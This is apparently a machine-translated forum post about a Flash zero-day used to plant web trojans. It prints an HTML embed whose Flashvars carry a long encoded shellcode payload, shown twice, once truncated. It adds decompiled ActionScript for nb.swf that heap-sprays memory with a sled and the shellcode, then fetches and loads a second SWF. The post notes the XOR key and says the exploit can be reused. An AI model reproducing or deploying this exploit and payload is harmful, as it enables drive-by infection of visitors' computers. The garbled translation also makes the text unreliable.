Flash 0day Sunroof Network ma latest 0day-China cold Dragon

The following is a reference fragment:
<object classid= "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"

Codebase= "[Url=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=1

0,0,0,0]

Http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0[/url] "

Width= "550" height= "id=" sdfasdf "align=" Middle ">
<param name= "allowscriptaccess" value= "Samedomain"/>
<param name= "allowFullScreen" value= "false"/>
<param name= "movie" value= "nb.swf"/>
<param name= "Quality" value= "High"/>
<param name= "bgcolor" value= "#ffffff"/>
<param name= "Flashvars" value= "sc=%25u9090%25u9090%25u5858%25u5858%25u10eb%25u4b5b%25uc933%

25ub966%25u03b8%25u3480%25ubd0b%25ufae2%25u05eb%25uebe8%25uffff%25u54ff%25ubea3%25ubdbd%

25ud9e2%25u8d1c%25ubdbd%25u36bd%25ub1fd%25ucd36%25u10a1%25ud536%25u36b5%25ud74a%25ue4ac%

25u0355%25ubdbf%25u2dbd%25u455f%25u8ed5%25ubd8f%25ud5bd%25ucee8%25ucfd8%25u36e9%25ub1fb%

25u0355%25ubdbc%25u36bd%25ud755%25ue4b8%25u2355%25ubdbf%25u5fbd%25ud544%25ud3d2%25ubdbd%

25uc8d5%25ud1cf%25ue9d0%25uab42%25u7d38%25uaec8%25ud2d5%25ubdd3%25ud5bd%25ucfc8%25ud0d1%

25u36e9%25ub1fb%25u3355%25ubdbc%25u36bd%25ud755%25ue4bc%25ud355%25ubdbf%25u5fbd%25ud544%

25u8ed1%25ubd8f%25uced5%25ud8d5%25ue9d1%25ufb36%25u55b1%25ubcd2%25ubdbd%25u5536%25ubcd7%

25u55e4%25ubff2%25ubdbd%25u445f%25u513c%25ubcbd%25ubdbd%25u6136%25u7e3c%25ubd3d%25ubdbd%

25ubdd7%25ua7d7%25ud7ee%25u42bd%25ue1eb%25u7d8e%25u3dfd%25ube81%25uc8bd%25u7a44%25ubeb9%

25udce1%25ud893%25uf97a%25ub9be%25ud8c5%25ubdbd%25u748e%25uecec%25ueaee%25u8eec%25u367d%

25ue5fb%25u9f55%25ubdbc%25u3ebd%25ubd45%25u1e54%25ubdbd%25u2dbd%25ubdd7%25ubdd7%25ubed7%

25ubdd7%25ubfd7%25ubdd5%25ubdbd%25uee7d%25ufb36%25u5599%25ubcbc%25ubdbd%25ufb34%25ud7dd%

25uedbd%25ueb42%25u3495%25ud9fb%25ufb36%25ud7dd%25ud7bd%25ud7bd%25ud7bd%25ud7b9%25uedbd%

25ueb42%25ud791%25ud7bd%25ud7bd%25ud5bd%25ubda2%25ubdb2%25u42ed%25u81eb%25ufb34%25u36c5%

25ud9f3%25uc13d%25u42b5%25uc909%25u3db1%25ub5c1%25ubd42%25ub8c9%25uc93d%25u42b5%25u5f09%

25u3456%25u3d3b%25ubdbd%25u7abd%25ucdfb%25ubdbd%25ubdbd%25ufb7a%25ubdc9%25ubdbd%25ud7bd%

25ud7bd%25ud7bd%25u36bd%25uddfb%25u42ed%25u85eb%25u3b36%25ubd3d%25ubdbd%25ubdd7%25uf330%

25uecc9%25ucb42%25uedcd%25ucb42%25u42dd%25u8deb%25ucb42%25u42dd%25u89eb%25ucb42%25u42c5%

25ufdeb%25u4636%25u7d8e%25u668e%25u513c%25ubfbd%25ubdbd%25u7136%25u453e%25uc0e9%25u34b5%

25ubca1%25u7d3e%25u56b9%25u364e%25u3671%25u3e64%25uad7e%25u7d8e%25ueced%25uedee%25ueded%

25ueded%25ueaed%25ueded%25ueb42%25u36b5%25ue9c3%25uad55%25ubdbc%25u55bd%25ubdd8%25ubdbd%

25uded5%25ucacb%25ud5bd%25ud5ce%25ud2d9%25u36e9%25ub1fb%25u9955%25ubdbd%25u34bd%25u81fb%

25u1cd9%25ubdb9%25ubdbd%25u1d30%25u42dd%25u4242%25ud8d7%25ucb42%25u3681%25uadfb%25ub555%

25ubdbd%25u8ebd%25uee66%25ueeee%25u42ee%25u3d6d%25u5585%25u853d%25uc854%25u3cac%25ub8c5%

25u2d2d%25u2d2d%25ub5c9%25u4236%25u36e8%25u3051%25ub8fd%25u5d42%25u1b55%25ubdbd%25u7ebd%

25u1d55%25ubdbd%25u05bd%25ubcac%25u3db9%25ub17f%25u55bd%25ubd2e%25ubdbd%25u513c%25ubcbd%

25ubdbd%25u4136%25u7a3e%25u7ab9%25u8fba%25u2cc9%25u7ab1%25ub9fa%25u34de%25uf26c%25ufa7a%

25u1db5%25u2ad8%25u7a76%25ub1fa%25ufdec%25uc207%25ufa7a%25u83ad%25u0ba0%25u7a84%25ua9fa%

25ud405%25ua669%25ufa7a%25u03a5%25udbc2%25u7a1d%25ua1fa%25u1441%25u108a%25ufa7a%25u259d%

25uadb7%25ud945%25u8d1c%25ubdbd%25u36bd%25ub1fd%25ucd36%25u10a1%25ud536%25u36b5%25ud74a%

25ue4b9%25ue955%25ubdbd%25u2dbd%25u455f%25u8ed5%25ubd8f%25ud5bd%25ucee8%25ucfd8%25u36e9%

25u55bb%25u42e8%25u4242%25u5536%25ub8d7%25u55e4%25ubd88%25ubdbd%25u445f%25u428e%25u42ea%

25ub9eb%25ubf56%25u7ee5%25u4455%25u4242%25ue642%25uba7b%25u3405%25ubce2%25u7adb%25ub8fa%

25u5d42%25uee7e%25u6136%25ud7ee%25ud5fd%25uadbd%25ubdbd%25u36ea%25u9dfb%25ua555%25u4242%

25ue542%25uec7e%25u36eb%25u81c8%25uc936%25uc593%25u48be%25u36eb%25u9dcb%25u48be%25u748e%

25ufcf4%25ube10%25u8e78%25ub266%25uad03%25u6b87%25ub5c9%25u767c%25ubeba%25ufd67%25u4c56%

25ua286%25u5ac8%25u36e3%25u99e3%25u60be%25u36db%25uf6b1%25ue336%25ubea1%25u3660%25u36b9%

25u78be%25ue316%25u7ee4%25u6055%25u4241%25u0f42%25u5f4f%25u8449%25uc05f%25u673e%25uc6f5%

25u8f80%25u2cc9%25u38b1%25u1262%25ude06%25u6c34%25uecf2%25u07fd%25u1dc2%25u2ad8%25ua376%

25ud919%25u2e52%25u598f%25u3329%25ub7ae%25u7f11%25uf6a4%25u79bc%25ua230%25ueac9%25ub0db%

25ufe42%25u1103%25uc066%25u184d%25uef27%25u1a43%25u8367%25u0ba0%25u0584%25u69d4%25u03a6%

25udbc2%25u411d%25u8a14%25u2510%25uadb7%25u3d45%25u126b%25u4627%25ua8ee%25ud5db%25uc9c9%

25u87cd%25u9292%25uce8f%25udbde%25ude93%25ud0d2%25u8587%25u858d%25uce92%25ucfd8%25ud8cb%

25u93cf%25uc5d8%25ubdd8 ">

ubd0b%25ufae2%25u05eb%25uebe8%25uffff%25u54ff%25ubea3%25ubdbd%25ud9e2%25u8d1c%25ubdbd%

25u36bd%25ub1fd%25ucd36%25u10a1%25ud536%25u36b5%25ud74a%25ue4ac%25u0355%25ubdbf%25u2dbd%

25u455f%25u8ed5%25ubd8f%25ud5bd%25ucee8%25ucfd8%25u36e9%25ub1fb%25u0355%25ubdbc%25u36bd%

25ud755%25ue4b8%25u2355%25ubdbf%25u5fbd%25ud544%25ud3d2%25ubdbd%25uc8d5%25ud1cf%25ue9d0%

25uab42%25u7d38%25uaec8%25ud2d5%25ubdd3%25ud5bd%25ucfc8%25ud0d1%25u36e9%25ub1fb%25u3355%

25ubdbc%25u36bd%25ud755%25ue4bc%25ud355%25ubdbf%25u5fbd%25ud544%25u8ed1%25ubd8f%25uced5%

25ud8d5%25ue9d1%25ufb36%25u55b1%25ubcd2%25ubdbd%25u5536%25ubcd7%25u55e4%25ubff2%25ubdbd%

25u445f%25u513c%25ubcbd%25ubdbd%25u6136%25u7e3c%25ubd3d%25ubdbd%25ubdd7%25ua7d7%25ud7ee%

25u42bd%25ue1eb%25u7d8e%25u3dfd%25ube81%25uc8bd%25u7a44%25ubeb9%25udce1%25ud893%25uf97a%

25ub9be%25ud8c5%25ubdbd%25u748e%25uecec%25ueaee%25u8eec%25u367d%25ue5fb%25u9f55%25ubdbc%

25u3ebd%25ubd45%25u1e54%25ubdbd%25u2dbd%25ubdd7%25ubdd7%25ubed7%25ubdd7%25ubfd7%25ubdd5%

25ubdbd%25uee7d%25ufb36%25u5599%25ubcbc%25ubdbd%25ufb34%25ud7dd%25uedbd%25ueb42%25u3495%

25ud9fb%25ufb36%25ud7dd%25ud7bd%25ud7bd%25ud7bd%25ud7b9%25uedbd%25ueb42%25ud791%25ud7bd%

25ud7bd%25ud5bd%25ubda2%25ubdb2%25u42ed%25u81eb%25ufb34%25u36c5%25ud9f3%25uc13d%25u42b5%

25uc909%25u3db1%25ub5c1%25ubd42%25ub8c9%25uc93d%25u42b5%25u5f09%25u3456%25u3d3b%25ubdbd%

25u7abd%25ucdfb%25ubdbd%25ubdbd%25ufb7a%25ubdc9%25ubdbd%25ud7bd%25ud7bd%25ud7bd%25u36bd%

25uddfb%25u42ed%25u85eb%25u3b36%25ubd3d%25ubdbd%25ubdd7%25uf330%25uecc9%25ucb42%25uedcd%

25ucb42%25u42dd%25u8deb%25ucb42%25u42dd%25u89eb%25ucb42%25u42c5%25ufdeb%25u4636%25u7d8e%

25u668e%25u513c%25ubfbd%25ubdbd%25u7136%25u453e%25uc0e9%25u34b5%25ubca1%25u7d3e%25u56b9%

25u364e%25u3671%25u3e64%25uad7e%25u7d8e%25ueced%25uedee%25ueded%25ueded%25ueaed%25ueded%

25ueb42%25u36b5%25ue9c3%25uad55%25ubdbc%25u55bd%25ubdd8%25ubdbd%25uded5%25ucacb%25ud5bd%

25ud5ce%25ud2d9%25u36e9%25ub1fb%25u9955%25ubdbd%25u34bd%25u81fb%25u1cd9%25ubdb9%25ubdbd%

25u1d30%25u42dd%25u4242%25ud8d7%25ucb42%25u3681%25uadfb%25ub555%25ubdbd%25u8ebd%25uee66%

25ueeee%25u42ee%25u3d6d%25u5585%25u853d%25uc854%25u3cac%25ub8c5%25u2d2d%25u2d2d%25ub5c9%

25u4236%25u36e8%25u3051%25ub8fd%25u5d42%25u1b55%25ubdbd%25u7ebd%25u1d55%25ubdbd%25u05bd%

25ubcac%25u3db9%25ub17f%25u55bd%25ubd2e%25ubdbd%25u513c%25ubcbd%25ubdbd%25u4136%25u7a3e%

25u7ab9%25u8fba%25u2cc9%25u7ab1%25ub9fa%25u34de%25uf26c%25ufa7a%25u1db5%25u2ad8%25u7a76%

25ub1fa%25ufdec%25uc207%25ufa7a%25u83ad%25u0ba0%25u7a84%25ua9fa%25ud405%25ua669%25ufa7a%

25u03a5%25udbc2%25u7a1d%25ua1fa%25u1441%25u108a%25ufa7a%25u259d%25uadb7%25ud945%25u8d1c%

25ubdbd%25u36bd%25ub1fd%25ucd36%25u10a1%25ud536%25u36b5%25ud74a%25ue4b9%25ue955%25ubdbd%

25u2dbd%25u455f%25u8ed5%25ubd8f%25ud5bd%25ucee8%25ucfd8%25u36e9%25u55bb%25u42e8%25u4242%

25u5536%25ub8d7%25u55e4%25ubd88%25ubdbd%25u445f%25u428e%25u42ea%25ub9eb%25ubf56%25u7ee5%

25u4455%25u4242%25ue642%25uba7b%25u3405%25ubce2%25u7adb%25ub8fa%25u5d42%25uee7e%25u6136%

25ud7ee%25ud5fd%25uadbd%25ubdbd%25u36ea%25u9dfb%25ua555%25u4242%25ue542%25uec7e%25u36eb%

25u81c8%25uc936%25uc593%25u48be%25u36eb%25u9dcb%25u48be%25u748e%25ufcf4%25ube10%25u8e78%

25ub266%25uad03%25u6b87%25ub5c9%25u767c%25ubeba%25ufd67%25u4c56%25ua286%25u5ac8%25u36e3%

25u99e3%25u60be%25u36db%25uf6b1%25ue336%25ubea1%25u3660%25u36b9%25u78be%25ue316%25u7ee4%

25u6055%25u4241%25u0f42%25u5f4f%25u8449%25uc05f%25u673e%25uc6f5%25u8f80%25u2cc9%25u38b1%

25u1262%25ude06%25u6c34%25uecf2%25u07fd%25u1dc2%25u2ad8%25ua376%25ud919%25u2e52%25u598f%

25u3329%25ub7ae%25u7f11%25uf6a4%25u79bc%25ua230%25ueac9%25ub0db%25ufe42%25u1103%25uc066%

25u184d%25uef27%25u1a43%25u8367%25u0ba0%25u0584%25u69d4%25u03a6%25udbc2%25u411d%25u8a14%

25u2510%25uadb7%25u3d45%25u126b%25u4627%25ua8ee%25ud5db%25uc9c9%25u87cd%25u9292%25uce8f%

25udbde%25ude93%25ud0d2%25u8587%25u858d%25uce92%25ucfd8%25ud8cb%25u93cf%25uc5d8%25ubdd8 "

quality= "High" bgcolor= "#ffffff" width= "550" height= "All" Name= "SDFASDF" align= "Middle"

allowscriptaccess= "Samedomain" allowfullscreen= "false" type= "Application/x-shockwave-flash"

Pluginspage= "HTTP://WWW.ADOBE.COM/GO/GETFLASHPLAYER_CN"/></object>

Shellcode part is after the different or after, the key is Bd. Dropped to Freshow, fill in the key decoding 2 times on the address, nb.swf is used

The inverse code is

NB.SWF Reverse Code:

Package Sdfasdf_fla
{
Import flash.display.*;
Import flash.events.*;
Import flash.net.*;
Import flash.utils.*;

Dynamic public class Maintimeline extends MovieClip
{
public Var a:string;
public Var I:object;
public Var b:string;
public Var Loader:loader;
public Var t:string;
public Var Len:object;
public Var Ul:urlloader;
public Var Array:array;

Public Function Maintimeline ()
{
Addframescript (0, this.frame1);
Return
}//End Function

function Frame1 ()
{
THIS.A = unescape ("%u0d0d%u0d0d");
THIS.T = THIS.A;
this.b = unescape (Stage.loaderInfo.parameters.sc);
This.len = 1048576-this.b.length-256;
while (This.a.length < This.len)
{

THIS.A = This.a + this.t;
}
THIS.A = This.a + this.b;
This.array = new Array ();
this.i = 0;
while (THIS.I < 200)
{

THIS.ARRAY[THIS.I] = new ByteArray ();
This.array[this.i].writemultibyte (THIS.A, "Unicode");
var _loc_1:string;
_loc_1.i = this.i++;
}
THIS.UL = new URLLoader ();
This.ul.dataFormat = urlloaderdataformat.binary;
This.ul.addEventListener (Event.complete, this.oncomplete);
This.ul.load (New URLRequest ("encoded.swf"));
This.loader = new loader ();
AddChild (This.loader);
Trace ("Xxxxxxxxxxxxxxxxx");
Return
}//End Function

Public Function OnComplete (param1:event): void
{
var _loc_2:* = (param1.target as URLLoader). data;
_loc_2.uncompress ();
This.loader.loadBytes (_loc_2);
Return
}//End Function

}
}

After the release will find there is a encoded.swf, also need to download back, but this SWF has been processed! I think the reverse is not open, but

Now it is possible to modify the use of the normal!

Flash 0day Sunroof Network ma latest 0day-Chinese cold dragon